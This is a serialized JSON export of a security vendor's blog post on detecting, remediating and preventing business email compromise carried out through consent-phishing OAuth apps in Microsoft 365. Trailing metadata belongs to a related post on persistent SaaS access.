[209511,209519,209527,209549,209557,209578,209585,209591,209598,209605,209612,209619,209626,209633,209640,209647,209654,209660,209667,209674,209681,209688,209706,209712,209719,209725,209732,209738,209745,209752,209759,209802,209809,209829,209836,209926,209946,209952,209959,209965],{"data":209512,"content":209513,"nodeType":866},{},[209514],{"data":209515,"marks":209516,"value":209518,"nodeType":865},{},[209517],{"type":898},"You get a call from your CFO: “Jenkins! ACME just called to find out why we haven’t paid invoices for the last 3 months? Didn’t you make payment last week?”",{"data":209520,"content":209521,"nodeType":866},{},[209522],{"data":209523,"marks":209524,"value":209526,"nodeType":865},{},[209525],{"type":898},"You think back a bit. “Yip! I received another invoice a few days ago and made payment yesterday. I also paid the contractor doing renovations on your house. By the way, congrats on the new kitchen.”",{"data":209528,"content":209529,"nodeType":866},{},[209530,209534,209545],{"data":209531,"marks":209532,"value":209533,"nodeType":865},{},[],"Many companies have had similar incidents occur over the last couple of years - it’s a classic ",{"data":209535,"content":209539,"nodeType":33606},{"target":209536},{"sys":209537},{"id":209538,"type":909,"linkType":910},"pj2eLZXa4PyrY1DD4NCHt",[209540],{"data":209541,"marks":209542,"value":209544,"nodeType":865},{},[209543],{"type":943},"Business Email Compromise",{"data":209546,"marks":209547,"value":209548,"nodeType":865},{},[]," (BEC) scenario. An attacker managed to gain access to Jenkins in accounting’s email and intercepted email from legitimate creditors, replacing their banking details with the attacker's own, and even forging invoices from non-existent suppliers. Forged emails are then sent from the CEO or CFO to approve the payments.",{"data":209550,"content":209551,"nodeType":866},{},[209552],{"data":209553,"marks":209554,"value":209556,"nodeType":865},{},[209555],{"type":898},"But how did they manage to gain access to the account? Our security team enforced multi-factor authentication (MFA) a few weeks ago. We’re supposed to be secure!?",{"data":209558,"content":209559,"nodeType":866},{},[209560,209564,209574],{"data":209561,"marks":209562,"value":209563,"nodeType":865},{},[],"As detailed in our ",{"data":209565,"content":209568,"nodeType":33606},{"target":209566},{"sys":209567},{"id":203182,"type":909,"linkType":910},[209569],{"data":209570,"marks":209571,"value":209573,"nodeType":865},{},[209572],{"type":943},"blog post about consent phishing",{"data":209575,"marks":209576,"value":209577,"nodeType":865},{},[],", this attack method will bypass MFA, since the paired malicious third-party integration app (sometimes called OAuth) generates an authentication token. MFA checks are only applied when logging in with your username and password, so in this case, the attacker was able to get a valid access token into Jenkins’ account. ",{"data":209579,"content":209580,"nodeType":866},{},[209581],{"data":209582,"marks":209583,"value":209584,"nodeType":865},{},[],"While this isn’t necessarily the same level of access provided with a username/password combo, it might be, based on the scopes Jenkins granted the third-party integration app access to when they clicked ‘Accept’. ",{"data":209586,"content":209590,"nodeType":912},{"target":209587},{"sys":209588},{"id":209589,"type":909,"linkType":910},"5BIHqq49jJOHsEHLgc8Tb9",[],{"data":209592,"content":209593,"nodeType":866},{},[209594],{"data":209595,"marks":209596,"value":209597,"nodeType":865},{},[],"The list of third-party integration scopes can include anything from relatively benign things like retrieving your name, surname, and email address, to more dangerous or excessive permissions such as full access to your mailbox, the ability to configure mail rules to forward or delete email, and full access to your OneDrive or Sharepoint files. Worse case scenario: if you belong to groups with password reset capabilities, the attacker may be able to perform full account takeovers.",{"data":209599,"content":209600,"nodeType":1317},{},[209601],{"data":209602,"marks":209603,"value":209604,"nodeType":865},{},[],"How do you detect and respond to such incidents?",{"data":209606,"content":209607,"nodeType":866},{},[209608],{"data":209609,"marks":209610,"value":209611,"nodeType":865},{},[],"The main issue is detection. In my experience as an incident responder working with Fortune 500 companies at MWR Infosecurity, I found that BEC attacks are usually detected when associated parties start asking questions about non-payment (or unrecognized payments), which can take weeks or months from the day of compromise. By this point your cloud provider’s logs are likely to have rolled over and you’re unlikely to find much useful information to populate your incident timeline.",{"data":209613,"content":209614,"nodeType":866},{},[209615],{"data":209616,"marks":209617,"value":209618,"nodeType":865},{},[],"Shameless plug alert: Push’s ChatOps functionality can greatly assist here as it detects such malicious rules when created, and sends a message to the owner of the account (Jenkins) asking if they created the rule. Sometimes a user will have a legitimate use for creating mail rules to forward messages to another account, and this allows them to acknowledge the rule and mark it as safe. In case they didn’t create it, they can flag it as such and this will cause an alert to be sent to their security team. This is practically instant detection and invaluable when preventing fraudulent payments. And getting input from the account owner cuts way down on alert fatigue for your team.",{"data":209620,"content":209621,"nodeType":1317},{},[209622],{"data":209623,"marks":209624,"value":209625,"nodeType":865},{},[],"\nMitigate the attack \n",{"data":209627,"content":209628,"nodeType":866},{},[209629],{"data":209630,"marks":209631,"value":209632,"nodeType":865},{},[],"Once you’ve detected the incident, your next step is to remediate. Typically, this would require someone on the  security team to find the offending rule in your cloud provider’s control panel to disable it, which can take some time, depending on the team’s availability and other factors. ",{"data":209634,"content":209635,"nodeType":866},{},[209636],{"data":209637,"marks":209638,"value":209639,"nodeType":865},{},[],"Detecting the creation of malicious mail rules would require you to configure policies and alerts in your cloud provider’s control panel, and requires someone from the security team to monitor for notifications. If your IT person is also responsible for security in your organization, it’s unlikely that they would spend an appropriate amount of time looking at alerts and, in many cases, would need to follow up with employees to confirm if they had indeed created the rules. If you’re a larger organization, your dedicated security person will likely have higher priority tasks, too.",{"data":209641,"content":209642,"nodeType":866},{},[209643],{"data":209644,"marks":209645,"value":209646,"nodeType":865},{},[],"Discovering a breach is usually related to someone noticing unrecognized payments, vendors querying a lack of payments, or phishing emails being sent to fellow employees or contacts outside of your organization. If an attacker is careful to avoid causing too much interruption, then it’s likely that you won’t discover the breach until all the damage has been done. Usually by this point, performing an investigation will reveal very little due to important investigation artifacts disappearing due to logs rolling over.",{"data":209648,"content":209649,"nodeType":866},{},[209650],{"data":209651,"marks":209652,"value":209653,"nodeType":865},{},[],"If you’re using Push, we would automatically detect the mail rule, talk to the employee whose email the mail rule was created within, and if they didn’t set the mail rule up themselves, we would assume it was created by an attacker and alert your security team. Push’s ChatOps will disable the offending rule and mark it as suspicious.",{"data":209655,"content":209659,"nodeType":912},{"target":209656},{"sys":209657},{"id":209658,"type":909,"linkType":910},"6rV4EiwTgmBsmYEaUvv55b",[],{"data":209661,"content":209662,"nodeType":866},{},[209663],{"data":209664,"marks":209665,"value":209666,"nodeType":865},{},[],"If this were a typical credential compromise scenario, the account’s password would be reset and everyone would go about their lives. However, since no credentials were compromised in our example, you’d go onto the next step to…",{"data":209668,"content":209669,"nodeType":1317},{},[209670],{"data":209671,"marks":209672,"value":209673,"nodeType":865},{},[],"Remove the app’s permissions and revoke the tokens",{"data":209675,"content":209676,"nodeType":866},{},[209677],{"data":209678,"marks":209679,"value":209680,"nodeType":865},{},[],"As I mentioned earlier, third-party integration apps generate tokens, which can be valid for an hour to sometimes 24 hours or more, depending on the integrating app, how it is being used, and if it makes use of refresh tokens.",{"data":209682,"content":209683,"nodeType":866},{},[209684],{"data":209685,"marks":209686,"value":209687,"nodeType":865},{},[],"Invalidating third-party integration access permissions requires accessing your cloud provider’s control panel. In this example, you need to revoke access for a malicious app in a Microsoft 365 tenant. Microsoft’s guidance on this is very useful, but unfortunately not as simple as just pressing a button.",{"data":209689,"content":209690,"nodeType":866},{},[209691,209695,209702],{"data":209692,"marks":209693,"value":209694,"nodeType":865},{},[],"To view Microsoft’s recommendations for dealing with a malicious app, you’d need to navigate to the ",{"data":209696,"content":209697,"nodeType":889},{"uri":204194},[209698],{"data":209699,"marks":209700,"value":204200,"nodeType":865},{},[209701],{"type":943},{"data":209703,"marks":209704,"value":209705,"nodeType":865},{},[]," section in Azure, and locate the app by searching for its name or Application ID, which can be found in the Push app’s OAuth integrations page. In the app menu, click on ‘Permissions,’ then ‘Review permissions.’ ",{"data":209707,"content":209711,"nodeType":912},{"target":209708},{"sys":209709},{"id":209710,"type":909,"linkType":910},"5Z6T2anRIJ1he2phTbcFot",[],{"data":209713,"content":209714,"nodeType":866},{},[209715],{"data":209716,"marks":209717,"value":209718,"nodeType":865},{},[],"On the slide-out menu, select “This application is malicious and I’m compromised.”",{"data":209720,"content":209724,"nodeType":912},{"target":209721},{"sys":209722},{"id":209723,"type":909,"linkType":910},"2lGnKdKTjXAVYBiOtYrbEl",[],{"data":209726,"content":209727,"nodeType":866},{},[209728],{"data":209729,"marks":209730,"value":209731,"nodeType":865},{},[],"This will provide you with pre-generated PowerShell scripts to 1) Remove all users assigned to the application, 2) Revoke all permissions granted to the application, and 3) Revoke refresh tokens for all users.",{"data":209733,"content":209737,"nodeType":912},{"target":209734},{"sys":209735},{"id":209736,"type":909,"linkType":910},"3qdGQ12PdZFLEyIpmMkwPi",[],{"data":209739,"content":209740,"nodeType":1317},{},[209741],{"data":209742,"marks":209743,"value":209744,"nodeType":865},{},[],"How to prevent similar attacks",{"data":209746,"content":209747,"nodeType":866},{},[209748],{"data":209749,"marks":209750,"value":209751,"nodeType":865},{},[],"A very important step following a compromise is to review what happened, how it happened, and what could be done to prevent the incident from occurring again. The interesting part about this incident is that it wasn’t due to a weak password, or even the lack of MFA that led to compromise. It came down to social engineering: instructing an employee to click a link by an account masquerading as their CFO.",{"data":209753,"content":209754,"nodeType":866},{},[209755],{"data":209756,"marks":209757,"value":209758,"nodeType":865},{},[],"For the purposes of this hypothetical incident, we’ll establish that the following occurred:",{"data":209760,"content":209761,"nodeType":1616},{},[209762,209772,209782,209792],{"data":209763,"content":209764,"nodeType":1570},{},[209765],{"data":209766,"content":209767,"nodeType":866},{},[209768],{"data":209769,"marks":209770,"value":209771,"nodeType":865},{},[],"Andrew Jenkins was targeted in a phishing attack",{"data":209773,"content":209774,"nodeType":1570},{},[209775],{"data":209776,"content":209777,"nodeType":866},{},[209778],{"data":209779,"marks":209780,"value":209781,"nodeType":865},{},[],"Andrew authenticated via Microsoft 365, which is a legitimate and expected authentication mechanism and occurs almost daily",{"data":209783,"content":209784,"nodeType":1570},{},[209785],{"data":209786,"content":209787,"nodeType":866},{},[209788],{"data":209789,"marks":209790,"value":209791,"nodeType":865},{},[],"No attachments were downloaded, thus in this isolated incident there was no code execution on Andrew’s host, meaning that Anti-Virus or Endpoint Detection & Response (EDR) would not have prevented it",{"data":209793,"content":209794,"nodeType":1570},{},[209795],{"data":209796,"content":209797,"nodeType":866},{},[209798],{"data":209799,"marks":209800,"value":209801,"nodeType":865},{},[],"The attacker gained full access to Andrew’s mailbox",{"data":209803,"content":209804,"nodeType":866},{},[209805],{"data":209806,"marks":209807,"value":209808,"nodeType":865},{},[],"The malicious app was disabled by Microsoft after some time, so a full investigation into its capabilities was not possible. We don’t know whether another phishing page was presented after the integration took place, thus to be on the safe side we need to assume this happened and led to credential compromise.",{"data":209810,"content":209811,"nodeType":866},{},[209812,209816,209825],{"data":209813,"marks":209814,"value":209815,"nodeType":865},{},[],"The app was unverified, which has historically been true in most of these scenarios. Publishers need to associate a Microsoft Partner Network (MPN) ID with the app, which follows a ",{"data":209817,"content":209819,"nodeType":889},{"uri":209818},"https://docs.microsoft.com/en-us/partner-center/verification-responses",[209820],{"data":209821,"marks":209822,"value":209824,"nodeType":865},{},[209823],{"type":943},"verification process",{"data":209826,"marks":209827,"value":209828,"nodeType":865},{},[],", in order to have it appear as a verified app. This Microsoft 365 tenant was configured to allow unverified integrations due to an oversight following an app migration project.",{"data":209830,"content":209831,"nodeType":866},{},[209832],{"data":209833,"marks":209834,"value":209835,"nodeType":865},{},[],"This leads us to the following to help prevent similar attacks from occurring in future, and to make sure there is no opportunity for the attacker to leverage any existing foothold:",{"data":209837,"content":209838,"nodeType":1616},{},[209839,209849,209859,209869,209890,209906,209916],{"data":209840,"content":209841,"nodeType":1570},{},[209842],{"data":209843,"content":209844,"nodeType":866},{},[209845],{"data":209846,"marks":209847,"value":209848,"nodeType":865},{},[],"Disable the integration and remove the malicious app’s permissions",{"data":209850,"content":209851,"nodeType":1570},{},[209852],{"data":209853,"content":209854,"nodeType":866},{},[209855],{"data":209856,"marks":209857,"value":209858,"nodeType":865},{},[],"Reset Andrew Jenkins’ credentials",{"data":209860,"content":209861,"nodeType":1570},{},[209862],{"data":209863,"content":209864,"nodeType":866},{},[209865],{"data":209866,"marks":209867,"value":209868,"nodeType":865},{},[],"Be aware of and review newly created mail rules",{"data":209870,"content":209871,"nodeType":1570},{},[209872],{"data":209873,"content":209874,"nodeType":866},{},[209875,209878,209887],{"data":209876,"marks":209877,"value":21,"nodeType":865},{},[],{"data":209879,"content":209881,"nodeType":889},{"uri":209880},"https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/configure-user-consent?tabs=azure-portal",[209882],{"data":209883,"marks":209884,"value":209886,"nodeType":865},{},[209885],{"type":943},"Confirm that the Microsoft 365 tenant is set to disallow integrations from unverified apps",{"data":209888,"marks":209889,"value":21,"nodeType":865},{},[],{"data":209891,"content":209892,"nodeType":1570},{},[209893],{"data":209894,"content":209895,"nodeType":1616},{},[209896],{"data":209897,"content":209898,"nodeType":1570},{},[209899],{"data":209900,"content":209901,"nodeType":866},{},[209902],{"data":209903,"marks":209904,"value":209905,"nodeType":865},{},[],"Note: as of November 9th, 2020, integrations with unverified apps are disabled by default.",{"data":209907,"content":209908,"nodeType":1570},{},[209909],{"data":209910,"content":209911,"nodeType":866},{},[209912],{"data":209913,"marks":209914,"value":209915,"nodeType":865},{},[],"Communicate with employees and other affected parties to be weary of these types of attacks",{"data":209917,"content":209918,"nodeType":1570},{},[209919],{"data":209920,"content":209921,"nodeType":866},{},[209922],{"data":209923,"marks":209924,"value":209925,"nodeType":865},{},[],"Perform regular audits against your Microsoft 365 tenants to highlight any discrepancies and integrations with unusual or unnecessary permissions.",{"data":209927,"content":209928,"nodeType":866},{},[209929,209933,209942],{"data":209930,"marks":209931,"value":209932,"nodeType":865},{},[],"Microsoft implementing safe defaults towards limiting integrations from unverified publishers was a step in the right direction. However, there have been ",{"data":209934,"content":209936,"nodeType":889},{"uri":209935},"https://www.proofpoint.com/us/blog/cloud-security/oivavoii-active-malicious-hybrid-cloud-threats-campaign",[209937],{"data":209938,"marks":209939,"value":209941,"nodeType":865},{},[209940],{"type":943},"cases",{"data":209943,"marks":209944,"value":209945,"nodeType":865},{},[]," where attackers utilized compromised publishers to perform similar attacks. ",{"data":209947,"content":209948,"nodeType":1317},{},[209949],{"data":209950,"marks":209951,"value":57175,"nodeType":865},{},[],{"data":209953,"content":209954,"nodeType":866},{},[209955],{"data":209956,"marks":209957,"value":209958,"nodeType":865},{},[],"While the process isn’t exactly straightforward, catching early indicators like malicious mail rules helps you prevent an attacker from launching additional attacks like phishing campaigns as they try to gain access to sensitive business data. Removing the mail rule is just the start of the process, you really need to revoke permissions and take the other steps we covered in this post to stop an attack from going any further. We’ll publish some more content on SaaS incident response on our blog, so subscribe to get our guidance straight into your inbox.",{"data":209960,"content":209964,"nodeType":912},{"target":209961},{"sys":209962},{"id":209963,"type":909,"linkType":910},"6oHRbGLus4bstsAc7E0zBD",[],{"data":209966,"content":209967,"nodeType":866},{},[209968],{"data":209969,"marks":209970,"value":21,"nodeType":865},{},[],"How to kick off an incident response investigation for a compromised SaaS account","We'll walk through how to quickly detect and mitigate business email compromise (BEC) and then prevent future attacks.","2022-09-20T00:00:00.000Z","how-to-kick-off-an-incident-response-investigation-for-a-compromised-saas",{"items":209976},[209977,209979],{"sys":209978,"name":342},{"id":4642},{"sys":209980,"name":297},{"id":2310},{"items":209982},[209983],{"fullName":158801,"firstName":158802,"jobTitle":158803,"profilePicture":209984},{"url":158805},"blog/how-attackers-compromise-azure-organizations-through-saas-apps",{"json":209987},{"data":209988,"content":209989,"nodeType":1382},{},[209990],{"data":209991,"content":209992,"nodeType":866},{},[209993],{"data":209994,"marks":209995,"value":209996,"nodeType":865},{},[],"Common ways an app or integration could lead to compromise in Microsoft Azure: consent phishing, unverified apps, hijackable URLs & implicit grant flow. ",{"id":203139,"publishedAt":209998},"2026-08-13T09:35:32.962Z",{"items":210000},[210001,210003],{"sys":210002,"name":7796},{"id":7795},{"sys":210004,"name":342},{"id":4642},{"items":210006},[210007,210009,210011,210013,210015,210017],{"sys":210008,"name":545,"slug":546,"tier":31},{"id":542},{"sys":210010,"name":413,"slug":414,"tier":31},{"id":410},{"sys":210012,"name":342,"slug":343,"tier":31},{"id":339},{"sys":210014,"name":484,"slug":485,"tier":45},{"id":481},{"sys":210016,"name":633,"slug":634,"tier":45},{"id":630},{"sys":210018,"name":571,"slug":572,"tier":45},{"id":568},"-D7_Z6KxrUMciCLS4lYWA7QJwS8O2Oqe-QV8yvOA9Zo",{"id":210021,"title":208059,"authorsCollection":210022,"content":210027,"extension":228,"faqItemsCollection":210515,"faqTitle":59,"featured":6,"hashTags":59,"meta":210517,"metaTitle":210518,"ogImage":59,"postType":42959,"publishedDate":208061,"relatedBlogPostsCollection":210519,"slug":208062,"stem":211295,"subtitle":59,"summary":211296,"synopsis":208060,"sys":211307,"tagsCollection":211309,"topicsCollection":211313,"__hash__":211329},"blog/blog/maintaining-persistent-access-in-a-saas-first-world.json",{"items":210023},[210024],{"fullName":11421,"firstName":11422,"jobTitle":11423,"socialLinks":210025,"profilePicture":210026},[62480],{"url":11425},{"json":210028,"links":210399},{"data":210029,"content":210030,"nodeType":1382},{},[210031,210037,210043,210049,210055,210061,210066,210072,210078,210084,210090,210095,210101,210106,210123,210129,210134,210151,210168,210183,210189,210195,210201,210207,210212,210217,210223,210229,210235,210241,210246,210252,210294,210299,210304,210320,210325,210331,210336,210342,210347,210353,210359,210364,210369,210375,210381,210387,210393],{"data":210032,"content":210033,"nodeType":866},{},[210034],{"data":210035,"marks":210036,"value":207638,"nodeType":865},{},[],{"data":210038,"content":210039,"nodeType":866},{},[210040],{"data":210041,"marks":210042,"value":207645,"nodeType":865},{},[],{"data":210044,"content":210045,"nodeType":981},{},[210046],{"data":210047,"marks":210048,"value":207652,"nodeType":865},{},[],{"data":210050,"content":210051,"nodeType":866},{},[210052],{"data":210053,"marks":210054,"value":207659,"nodeType":865},{},[],{"data":210056,"content":210057,"nodeType":866},{},[210058],{"data":210059,"marks":210060,"value":207666,"nodeType":865},{},[],{"data":210062,"content":210065,"nodeType":912},{"target":210063},{"sys":210064},{"id":207671,"type":909,"linkType":910},[],{"data":210067,"content":210068,"nodeType":866},{},[210069],{"data":210070,"marks":210071,"value":207679,"nodeType":865},{},[],{"data":210073,"content":210074,"nodeType":866},{},[210075],{"data":210076,"marks":210077,"value":207686,"nodeType":865},{},[],{"data":210079,"content":210080,"nodeType":866},{},[210081],{"data":210082,"marks":210083,"value":207693,"nodeType":865},{},[],{"data":210085,"content":210086,"nodeType":1317},{},[210087],{"data":210088,"marks":210089,"value":207700,"nodeType":865},{},[],{"data":210091,"content":210094,"nodeType":912},{"target":210092},{"sys":210093},{"id":207705,"type":909,"linkType":910},[],{"data":210096,"content":210097,"nodeType":866},{},[210098],{"data":210099,"marks":210100,"value":207713,"nodeType":865},{},[],{"data":210102,"content":210105,"nodeType":912},{"target":210103},{"sys":210104},{"id":207718,"type":909,"linkType":910},[],{"data":210107,"content":210108,"nodeType":866},{},[210109,210112,210120],{"data":210110,"marks":210111,"value":207726,"nodeType":865},{},[],{"data":210113,"content":210116,"nodeType":33606},{"target":210114},{"sys":210115},{"id":207731,"type":909,"linkType":910},[210117],{"data":210118,"marks":210119,"value":158137,"nodeType":865},{},[],{"data":210121,"marks":210122,"value":1615,"nodeType":865},{},[],{"data":210124,"content":210125,"nodeType":1317},{},[210126],{"data":210127,"marks":210128,"value":207745,"nodeType":865},{},[],{"data":210130,"content":210133,"nodeType":912},{"target":210131},{"sys":210132},{"id":207750,"type":909,"linkType":910},[],{"data":210135,"content":210136,"nodeType":866},{},[210137,210140,210148],{"data":210138,"marks":210139,"value":207758,"nodeType":865},{},[],{"data":210141,"content":210144,"nodeType":33606},{"target":210142},{"sys":210143},{"id":203251,"type":909,"linkType":910},[210145],{"data":210146,"marks":210147,"value":158137,"nodeType":865},{},[],{"data":210149,"marks":210150,"value":14251,"nodeType":865},{},[],{"data":210152,"content":210153,"nodeType":866},{},[210154,210157,210165],{"data":210155,"marks":210156,"value":207776,"nodeType":865},{},[],{"data":210158,"content":210161,"nodeType":33606},{"target":210159},{"sys":210160},{"id":203182,"type":909,"linkType":910},[210162],{"data":210163,"marks":210164,"value":66867,"nodeType":865},{},[],{"data":210166,"marks":210167,"value":207788,"nodeType":865},{},[],{"data":210169,"content":210170,"nodeType":866},{},[210171,210174,210180],{"data":210172,"marks":210173,"value":207795,"nodeType":865},{},[],{"data":210175,"content":210176,"nodeType":889},{"uri":207798},[210177],{"data":210178,"marks":210179,"value":207803,"nodeType":865},{},[],{"data":210181,"marks":210182,"value":207807,"nodeType":865},{},[],{"data":210184,"content":210185,"nodeType":1317},{},[210186],{"data":210187,"marks":210188,"value":207814,"nodeType":865},{},[],{"data":210190,"content":210191,"nodeType":866},{},[210192],{"data":210193,"marks":210194,"value":207821,"nodeType":865},{},[],{"data":210196,"content":210197,"nodeType":866},{},[210198],{"data":210199,"marks":210200,"value":207828,"nodeType":865},{},[],{"data":210202,"content":210203,"nodeType":866},{},[210204],{"data":210205,"marks":210206,"value":207835,"nodeType":865},{},[],{"data":210208,"content":210211,"nodeType":912},{"target":210209},{"sys":210210},{"id":207840,"type":909,"linkType":910},[],{"data":210213,"content":210216,"nodeType":912},{"target":210214},{"sys":210215},{"id":207846,"type":909,"linkType":910},[],{"data":210218,"content":210219,"nodeType":1317},{},[210220],{"data":210221,"marks":210222,"value":207854,"nodeType":865},{},[],{"data":210224,"content":210225,"nodeType":866},{},[210226],{"data":210227,"marks":210228,"value":207861,"nodeType":865},{},[],{"data":210230,"content":210231,"nodeType":866},{},[210232],{"data":210233,"marks":210234,"value":207868,"nodeType":865},{},[],{"data":210236,"content":210237,"nodeType":866},{},[210238],{"data":210239,"marks":210240,"value":207875,"nodeType":865},{},[],{"data":210242,"content":210245,"nodeType":912},{"target":210243},{"sys":210244},{"id":207880,"type":909,"linkType":910},[],{"data":210247,"content":210248,"nodeType":866},{},[210249],{"data":210250,"marks":210251,"value":207888,"nodeType":865},{},[],{"data":210253,"content":210254,"nodeType":1616},{},[210255,210268,210281],{"data":210256,"content":210257,"nodeType":1570},{},[210258],{"data":210259,"content":210260,"nodeType":866},{},[210261,210265],{"data":210262,"marks":210263,"value":207902,"nodeType":865},{},[210264],{"type":926},{"data":210266,"marks":210267,"value":207906,"nodeType":865},{},[],{"data":210269,"content":210270,"nodeType":1570},{},[210271],{"data":210272,"content":210273,"nodeType":866},{},[210274,210278],{"data":210275,"marks":210276,"value":207917,"nodeType":865},{},[210277],{"type":926},{"data":210279,"marks":210280,"value":207921,"nodeType":865},{},[],{"data":210282,"content":210283,"nodeType":1570},{},[210284],{"data":210285,"content":210286,"nodeType":866},{},[210287,210291],{"data":210288,"marks":210289,"value":207932,"nodeType":865},{},[210290],{"type":926},{"data":210292,"marks":210293,"value":207936,"nodeType":865},{},[],{"data":210295,"content":210298,"nodeType":912},{"target":210296},{"sys":210297},{"id":207941,"type":909,"linkType":910},[],{"data":210300,"content":210303,"nodeType":912},{"target":210301},{"sys":210302},{"id":207947,"type":909,"linkType":910},[],{"data":210305,"content":210306,"nodeType":1616},{},[210307],{"data":210308,"content":210309,"nodeType":1570},{},[210310],{"data":210311,"content":210312,"nodeType":866},{},[210313,210317],{"data":210314,"marks":210315,"value":207962,"nodeType":865},{},[210316],{"type":926},{"data":210318,"marks":210319,"value":207966,"nodeType":865},{},[],{"data":210321,"content":210324,"nodeType":912},{"target":210322},{"sys":210323},{"id":207971,"type":909,"linkType":910},[],{"data":210326,"content":210327,"nodeType":866},{},[210328],{"data":210329,"marks":210330,"value":207979,"nodeType":865},{},[],{"data":210332,"content":210335,"nodeType":912},{"target":210333},{"sys":210334},{"id":207984,"type":909,"linkType":910},[],{"data":210337,"content":210338,"nodeType":1317},{},[210339],{"data":210340,"marks":210341,"value":207992,"nodeType":865},{},[],{"data":210343,"content":210346,"nodeType":912},{"target":210344},{"sys":210345},{"id":207997,"type":909,"linkType":910},[],{"data":210348,"content":210349,"nodeType":866},{},[210350],{"data":210351,"marks":210352,"value":208005,"nodeType":865},{},[],{"data":210354,"content":210355,"nodeType":866},{},[210356],{"data":210357,"marks":210358,"value":208012,"nodeType":865},{},[],{"data":210360,"content":210363,"nodeType":912},{"target":210361},{"sys":210362},{"id":208017,"type":909,"linkType":910},[],{"data":210365,"content":210368,"nodeType":912},{"target":210366},{"sys":210367},{"id":208023,"type":909,"linkType":910},[],{"data":210370,"content":210371,"nodeType":1317},{},[210372],{"data":210373,"marks":210374,"value":57175,"nodeType":865},{},[],{"data":210376,"content":210377,"nodeType":866},{},[210378],{"data":210379,"marks":210380,"value":208037,"nodeType":865},{},[],{"data":210382,"content":210383,"nodeType":866},{},[210384],{"data":210385,"marks":210386,"value":208044,"nodeType":865},{},[],{"data":210388,"content":210389,"nodeType":866},{},[210390],{"data":210391,"marks":210392,"value":208051,"nodeType":865},{},[],{"data":210394,"content":210395,"nodeType":866},{},[210396],{"data":210397,"marks":210398,"value":208058,"nodeType":865},{},[],{"entries":210400},{"inline":210401,"hyperlink":210402,"block":210411},[],[210403,210407,210409],{"sys":210404,"__typename":1429,"title":210405,"slug":210406},{"id":207731},"Email security: How hackers use mail rules to access your inbox","email-security-how-hackers-use-mail-rules-to-access-your-inbox",{"sys":210408,"__typename":1429,"title":209258,"slug":209259},{"id":203251},{"sys":210410,"__typename":1429,"title":205389,"slug":205392},{"id":203182},[210412,210421,210427,210435,210441,210450,210458,210466,210474,210481,210487,210495,210501,210507],{"sys":210413,"__typename":1390,"title":210414,"caption":210415,"layoutMode":210416,"file":210417},{"id":207671},"Old way of getting persistent access","The old way: an attacker gains persistent access through the user's endpoint","Breaks margins",{"url":210418,"width":210419,"height":210420},"https://images.ctfassets.net/y1cdw1ablpvd/60dTfWyVxckPEi4bZ6kWxn/49d8540f39641a0a1089cc313a9bc0c0/diagram6.png",2994,1534,{"sys":210422,"__typename":1390,"title":210423,"caption":210424,"layoutMode":210416,"file":210425},{"id":207705},"Abusing Mail Rules for persistence","An attacker abusing mail rules to gain persistent access",{"url":210426,"width":210419,"height":210420},"https://images.ctfassets.net/y1cdw1ablpvd/4R33B9Ru2d5LJilWS3CHWH/ff46bfc18072e03159b10571c87fef20/diagram4.png",{"sys":210428,"__typename":1390,"title":210429,"caption":210430,"layoutMode":210416,"file":210431},{"id":207718},"Mail rules settings","Example of a malicious mail rule redirect",{"url":210432,"width":210433,"height":210434},"https://images.ctfassets.net/y1cdw1ablpvd/2nA7CzgPsU4MjyGLpP9PsU/4cb3ff9bd512140dddc648324ba43db1/image6.png",930,408,{"sys":210436,"__typename":1390,"title":210437,"caption":210438,"layoutMode":210416,"file":210439},{"id":207750},"OAuth integration attacks","Attacker uses OAuth integrations to gain persistent access",{"url":210440,"width":210419,"height":210420},"https://images.ctfassets.net/y1cdw1ablpvd/3U42FTCg8KCkTWuFHgCzQn/d80952f23e2d3953683d14874422a013/diagram3.png",{"sys":210442,"__typename":1390,"title":210443,"caption":210444,"layoutMode":210445,"file":210446},{"id":207840},"Abusing SaaS integrations","Abusing a legitimate app to create custom permissions for data access","Centre aligned",{"url":210447,"width":210448,"height":210449},"https://images.ctfassets.net/y1cdw1ablpvd/6waVV1s0GnugIX5kIEWie0/73ce4f1c6427a09f2fd9c1115abc2cab/image5.png",481,666,{"sys":210451,"__typename":1390,"title":210452,"caption":210453,"layoutMode":210445,"file":210454},{"id":207846},"Granting access to OneDrive","Using Canva to gain access to OneDrive",{"url":210455,"width":210456,"height":210457},"https://images.ctfassets.net/y1cdw1ablpvd/1s19UrmAhp4CtP2gY7Les1/63e51fb3f4b6e442e22308606fab5263/image7.png",781,498,{"sys":210459,"__typename":1390,"title":210460,"caption":210461,"layoutMode":210445,"file":210462},{"id":207880},"Mozilla Thunderbird source code","Thunderbird stores client IDs and secrets for different OAuth apps in the source code ",{"url":210463,"width":210464,"height":210465},"https://images.ctfassets.net/y1cdw1ablpvd/9hMtg79YP1fxq9kGCgz6v/e1bd3be4b7b057a905b288d04455f6b3/image9.png",740,447,{"sys":210467,"__typename":1390,"title":210468,"caption":210469,"layoutMode":59,"file":210470},{"id":207941},"Thunderbird permissions","Abusing Thunderbird for arbitrary permission granting",{"url":210471,"width":210472,"height":210473},"https://images.ctfassets.net/y1cdw1ablpvd/1fpNoUuQEh8GMWqBeaNyxa/9df618a9231bb056d82cad10cef3f757/image3.png",522,896,{"sys":210475,"__typename":1390,"title":210476,"caption":210477,"layoutMode":210445,"file":210478},{"id":207947},"Thunderbird access beyond email","We're able to grant access to whatever we want, not just email",{"url":210479,"width":210480,"height":176729},"https://images.ctfassets.net/y1cdw1ablpvd/4J4mjQTSDiMtQqI6J90f4t/d88cdfb54bd033324ef398cff76fe525/image__9_.png",1744,{"sys":210482,"__typename":1390,"title":210483,"caption":59,"layoutMode":210445,"file":210484},{"id":207971},"Google restricted scope",{"url":210485,"width":209282,"height":210486},"https://images.ctfassets.net/y1cdw1ablpvd/3Codlm2s4TvG1v2B6ZWQyM/39c705a48add202154bb333bdefdc899/image4.png",253,{"sys":210488,"__typename":1390,"title":210489,"caption":210490,"layoutMode":210445,"file":210491},{"id":207984},"Thunderbird email access","Using the Thunderbird app to gain access to Gmail",{"url":210492,"width":210493,"height":210494},"https://images.ctfassets.net/y1cdw1ablpvd/5yxmeq6vfcETgn4B9oWfhE/b4b3af6ce3e17a5ff06f1b49fd2b4016/image8.png",495,779,{"sys":210496,"__typename":1390,"title":210497,"caption":210498,"layoutMode":210416,"file":210499},{"id":207997},"Abusing document-sharing links","An attacker abusing document-sharing links to get persistent 